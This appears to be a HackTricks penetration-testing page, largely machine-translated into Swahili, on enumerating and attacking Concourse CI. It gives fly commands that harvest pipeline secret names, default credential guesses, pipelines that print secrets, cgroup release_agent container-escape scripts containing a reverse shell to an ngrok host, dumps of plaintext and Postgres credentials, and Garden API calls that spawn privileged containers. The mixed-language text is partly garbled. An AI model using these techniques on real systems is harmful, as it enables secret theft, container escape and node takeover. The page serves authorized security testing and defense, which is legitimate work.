Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourse inakuja na majukumu matano:

  • Concourse Admin: Hiki ni jukumu ambalo linatolewa tu kwa wamiliki wa timu kuu (timu ya mwanzo ya concourse). Wasimamizi wanaweza kuunda timu nyingine (mfano: fly set-team, fly destroy-team...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.

  • owner: Wamiliki wa timu wanaweza kubadilisha kila kitu ndani ya timu.

  • member: Wajumbe wa timu wanaweza kusoma na kuandika ndani ya rasilimali za timu lakini hawawezi kubadilisha mipangilio ya timu.

  • pipeline-operator: Wafanya kazi wa pipeline wanaweza kufanya operesheni za pipeline kama vile kuanzisha ujenzi na kuweka rasilimali, hata hivyo hawawezi kubadilisha mipangilio ya pipeline.

  • viewer: Waangalizi wa timu wana "ufikiaji wa kusoma tu" kwa timu na mipangilio yake.

Zaidi ya hayo, ruhusa za majukumu owner, member, pipeline-operator na viewer zinaweza kubadilishwa kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: https://concourse-ci.org/user-roles.html

Kumbuka kwamba Concourse inaunganisha mipangilio ndani ya Timu. Hivyo basi watumiaji wanaotokana na Timu wataweza kusimamia mipangilio hiyo na Tim nyingi zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Tim nyingi na kuwa na ruhusa tofauti ndani ya kila moja yao.

Vars & Credential Manager

Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia ((_source-name_:_secret-path_._secret-field_)). Kutoka kwenye nyaraka: source-name ni hiari, na ikiwa imeachwa, meneja wa akiba wa kiwango cha klasta atatumika, au thamani inaweza kutolewa kwa statiki. secret-field ya hiari inabainisha uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo. Zaidi ya hayo, secret-path na secret-field zinaweza kuzungukwa na nukuu mbili "..." ikiwa zina micharacter maalum kama . na :. Kwa mfano, ((source:"my.secret"."field:1")) itaweka secret-path kuwa my.secret na secret-field kuwa field:1.

Static Vars

Static vars zinaweza kubainishwa katika hatua za kazi:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or using the following fly arguments:

  • -v or --var NAME=VALUE sets the string VALUE as the value for the var NAME.

  • -y or --yaml-var NAME=VALUE parses VALUE as YAML and sets it as the value for the var NAME.

  • -i or --instance-var NAME=VALUE parses VALUE as YAML and sets it as the value for the instance var NAME. See Grouping Pipelines to learn more about instance vars.

  • -l or --load-vars-from FILE loads FILE, a YAML document containing mapping var names to values, and sets them all.

Usimamizi wa Akida

Kuna njia tofauti ambazo Msimamizi wa Akida unaweza kufafanuliwa katika pipeline, soma jinsi katika https://concourse-ci.org/creds.html. Zaidi ya hayo, Concourse inasaidia wasimamizi wa akida tofauti:

Kumbuka kwamba ikiwa una aina fulani ya ufikiaji wa kuandika kwa Concourse unaweza kuunda kazi za kuondoa siri hizo kwani Concourse inahitaji kuwa na uwezo wa kuzifikia.

Uainishaji wa Concourse

Ili kuainisha mazingira ya concourse unahitaji kwanza kusanya akida halali au kupata token iliyothibitishwa labda katika faili ya usanidi .flyrc.

Ingia na Ujumbe wa Sasa

  • Ili kuingia unahitaji kujua kiungo, jina la timu (kawaida ni main) na timu ambayo mtumiaji anahusishwa nayo:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Pata malengo yaliyowekwa:

  • fly targets

  • Pata ikiwa kiungo kilichowekwa bado ni halali:

  • fly -t <target> status

  • Pata jukumu la mtumiaji dhidi ya lengo lililoonyeshwa:

  • fly -t <target> userinfo

Kumbuka kwamba token ya API inahifadhiwa katika $HOME/.flyrc kwa kawaida, unapoiba mashine unaweza kuipata huko akida.

Timu & Watumiaji

  • Pata orodha ya Timu

  • fly -t <target> teams

  • Pata majukumu ndani ya timu

  • fly -t <target> get-team -n <team-name>

  • Pata orodha ya watumiaji

  • fly -t <target> active-users

Pipelines

  • Orodhesha pipelines:

  • fly -t <target> pipelines -a

  • Pata yaml ya pipeline (taarifa nyeti zinaweza kupatikana katika ufafanuzi):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Pata mipangilio yote ya pipeline iliyoelezwa:

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Pata majina yote ya siri za pipelines zilizotumika (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • Orodha workers:

  • fly -t <target> workers

  • Orodha containers:

  • fly -t <target> containers

  • Orodha builds (kuona kinachoendelea):

  • fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

  • admin:admin

  • test:test

Usanidi wa siri na params

Katika sehemu iliyopita tuliona jinsi unavyoweza kupata majina yote ya siri na vars zinazotumika na pipeline. Vars zinaweza kuwa na taarifa nyeti na jina la siri litakuwa muhimu baadaye kujaribu kuiba hizo.

Kikao ndani ya container inayokimbia au iliyokimbia hivi karibuni

Ikiwa una ruhusa za kutosha (mwanachama au zaidi) utaweza kuorodhesha pipelines na roles na kupata tu kikao ndani ya <pipeline>/<job> container kwa kutumia:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Kwa ruhusa hizi unaweza kuwa na uwezo wa:

  • Kuchukua siri ndani ya konteina

  • Jaribu kutoroka hadi kwenye node

  • Kuorodhesha/Kutumia vibaya cloud metadata endpoint (kutoka kwenye pod na kutoka kwenye node, ikiwa inawezekana)

Uundaji/Modification wa Pipeline

Ikiwa una ruhusa za kutosha (mwanachama au zaidi) utaweza kuunda/kubadilisha pipelines mpya. Angalia mfano huu:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

With the modification/creation of a new pipeline you will be able to:

  • Kuharibu the siri (via echoing them out or getting inside the container and running env)

  • Kutoroka to the node (by giving you enough privileges - privileged: true)

  • Enumerate/Abuse cloud metadata endpoint (from the pod and from the node)

  • Futa created pipeline

Execute Custom Task

This is similar to the previous method but instead of modifying/creating a whole new pipeline you can just execute a custom task (which will probably be much more stealthier):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Kutoroka kwenye node kutoka kwa kazi yenye mamlaka

Katika sehemu zilizopita tuliona jinsi ya kutekeleza kazi yenye mamlaka na concourse. Hii haitatoa ufikiaji sawa na bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.

Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kama unavyojua hii ni kawaida release_agent escape tu kubadilisha njia ya cmd katika node

Kutoroka hadi node kutoka kwa kontena la Worker

Kutoroka kwa kawaida release_agent na mabadiliko madogo yanatosha kwa hili:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kutoroka hadi kwenye node kutoka kwenye Web container

Hata kama web container ina baadhi ya ulinzi zilizozuiliwa, haiendeshi kama container yenye mamlaka ya kawaida (kwa mfano, huwezi kuunganisha na uwezo ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwenye container hazifai).

Hata hivyo, inahifadhi akili za ndani kwa maandiko wazi:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Unaweza kutumia akreditivu hizo ku ingia kwenye seva ya wavuti na kuunda kontena lenye mamlaka na kutoroka hadi kwenye node.

Katika mazingira unaweza pia kupata taarifa za kufikia postgresql ambayo concourse inatumia (anwani, jina la mtumiaji, nenosiri na hifadhidata miongoni mwa taarifa nyingine):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Kutumia Huduma ya Garden - Si Shambulio Halisi

Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashughulikia tayari

Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya Garden kwenye bandari 7777. Huduma hii inatumika na Mkurugenzi wa Mtandao kuonyesha mfanyakazi kile anahitaji kutekeleza (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri:

  • Inapatikana tu kwa ndani (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze kuzungumza na kila huduma ya Garden ndani ya kila mfanyakazi.

  • Seva ya wavuti inasimamia kontena zinazoendesha kila sekunde chache, na kontena zisizotarajiwa zinatolewa. Hivyo ikiwa unataka kuendesha kontena maalum unahitaji kuingilia kati ya mawasiliano kati ya seva ya wavuti na huduma ya garden.

Wafanyakazi wa concourse wanaendesha kwa ruhusa za juu za kontena:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Hata hivyo, mbinu kama kuunganisha kifaa cha /dev cha nodi au release_agent hazitafanya kazi (kwa sababu kifaa halisi chenye mfumo wa faili wa nodi hakiwezi kufikiwa, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya nodi, hivyo kutoroka kutoka nodi bila exploits za kernel kunakuwa ngumu.

Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwenye kontena lenye mamlaka, hivyo ikiwa tunaweza kutekeleza amri katika kontena lenye mamlaka lililoundwa na mfanyakazi wa sasa, tunaweza kutoroka hadi nodi.

Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kuendesha kitu, michakato ya kontena inapatikana kutoka kwenye kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake.

Kuingia ndani ya kontena lenye mamlaka linaloendesha

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kuunda kontena mpya yenye mamlaka

Unaweza kwa urahisi kuunda kontena mpya (kimbia tu UID isiyo na mpangilio) na kutekeleza kitu ndani yake:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagundulika, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

References

  • https://concourse-ci.org/vars.html

Support HackTricks

Last updated